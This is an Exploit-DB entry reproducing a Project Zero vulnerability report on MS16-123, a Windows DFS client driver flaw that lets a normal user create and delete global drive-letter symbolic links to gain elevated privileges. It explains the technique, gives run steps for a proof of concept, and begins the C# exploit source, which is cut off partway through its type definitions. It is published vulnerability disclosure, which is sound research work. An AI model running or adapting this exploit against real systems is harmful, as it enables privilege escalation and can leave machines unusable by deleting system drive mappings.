Exploit-DB #40572
Description: Microsoft Windows - DFS Client Driver Arbitrary Drive Mapping Privilege Escalation (MS16-123)
Type: local
Platform: windows
Date: 2016-10-18
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=885

Windows: DFS Client Driver Arbitrary Drive Mapping EoP
Platform: Windows 10 10586, Edge 25.10586.0.0 not tested 8.1 Update 2 or Windows 7
Class: Elevation of Privilege

Summary:
The DFS Client driver and running by default insecurely creates and deletes drive letter symbolic links in the current user context leading to EoP.

Description:

The DFS Client driver is used to map DFS shares. The device path is accessible by a normal user and the two IOCTL DfscFsctrlCreateDriveLetter and DfscFsctrlRemoveDriveLetter are marked as FILE_ANY_ACCESS so even through we only have read permission on the device they’re allowed.

When mapping a DFS share the driver calls DfscCreateSymbolicLink to create a drive letter symbolic link. The drive letter is entirely under the user’s control and other than checking it’s a letter no other verification takes place. This function calls ZwCreateSymbolicLinkObject without specifying OBJ_FORCE_ACCESS_CHECK meaning it disables access checking. As it’s creating the name \??\X: rather than an explicit directory we can use per-process device maps to trick the driver into creating the symbolic link in any directory the user has read access to (the only limit on setting a per-process device map).

In contrast when unmapping DfscDeleteSymbolicLink is called which calls ZwOpenSymbolicLinkObject without specifying OBJ_FORCE_ACCESS_CHECK. This means we can delete any drive letter symbolic link by first mounting a DFS share with a drive letter we want to delete, then either removing the letter from our current user dos devices directory, or switching our per-process drive map to point to \GLOBAL?? then unmapping.

By combining the two we can do something like deleting the C: drive, then mounting a DFS share in its place and get some system level code to run something from the C: drive to get elevated privileges. We don’t even need to control the DFS share as once we’ve created the new C: drive symbolic link we have delete privileges on the object. We can use a behaviour of CSRSS’s DosDevice creation code which disables security if it can open the symbolic link for DELETE access while impersonating the user and the path to the link starts with \GLOBAL??. So we could redirect the C: drive link to any local location we like.

Worth nothing this is almost the exact same bug I found in Truecrypt (https://bugs.chromium.org/p/project-zero/issues/detail?id=538). At least they tried to not mount over existing drive letters requiring more effort :-)

I’ve not been able to work out if it’s possible to do this without requiring a DFS share (although for an internet connected system you might be able to point it at almost anywhere). I also don’t know if it needs to be domain joined, the driver is running though on a normal system. It seems to fail verifying the credentials, at least pointed to localhost SMB service. But perhaps it’ll work somehow. 

Proof of Concept:

I’ve provided a PoC as a C# source code file. You need to compile with .NET 4 or higher. Note you must compile as Any CPU or at least the correct bitness for the system under test other setting the dos devices directory has a habit of failing. You’ll need to have access to a DFS share somewhere, which might mean the test system needs to be domain joined. 

The PoC will just delete an existing drive mapping you specify. For example you could specify C: drive, although that’ll make the system not work so well afterwards. 

1) Compile the C# source code file.
2) Execute the poc passing the path to an existing DFS share and the drive letter to delete e.g. poc \\server\share X:
3) It should successfully delete the drive letter from \GLOBAL??. 

Expected Result:
Create drive letter anywhere the user can’t normally access should fail

Observed Result:
The user can create and delete arbitrary global drive letters.
*/

using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.AccessControl;
using System.Text;

namespace DfscTest
{
    class Program
    {
        [Flags]
        public enum AttributeFlags : uint
        {
            None = 0,
            Inherit = 0x00000002,
            Permanent = 0x00000010,
            Exclusive = 0x00000020,
            CaseInsensitive = 0x00000040,
            OpenIf = 0x00000080,
            OpenLink = 0x00000100,
            KernelHandle = 0x00000200,
            ForceAccessCheck = 0x00000400,
            IgnoreImpersonatedDevicemap = 0x00000800,
            DontReparse = 0x00001000,
        }

        public class IoStatus
        {
            public IntPtr Pointer;
            public IntPtr Information;

            public IoStatus()
            {
            }

            public IoStatus(IntPtr p, IntPtr i)
            {
                Pointer = p;
                Information = i;
            }
        }

        [Flags]
        public enum ShareMode
        {
            None = 0,
            Read = 0x00000001,
            Write = 0x00000002,
            Delete = 0x00000004,
        }

        [Flags]
        public enum FileOpenOptions
        {
            None = 0,
            DirectoryFile = 0x00000001,
            WriteThrough = 0x00000002,
            SequentialOnly = 0x00000004,
            NoIntermediateBuffering = 0x00000008,
            SynchronousIoAlert = 0x00000010,
            SynchronousIoNonAlert = 0x00000020,
            NonDirectoryFile = 0x00000040,
            CreateTreeConnection = 0x00000080,
            CompleteIfOplocked = 0x00000100,
            NoEaKnowledge = 0x00000200,
            OpenRemoteInstance = 0x00000400,
            RandomAccess = 0x00000800,
            DeleteOnClose = 0x00001000,
            OpenByFileId = 0x00002000,
            OpenForBackupIntent = 0x00004000,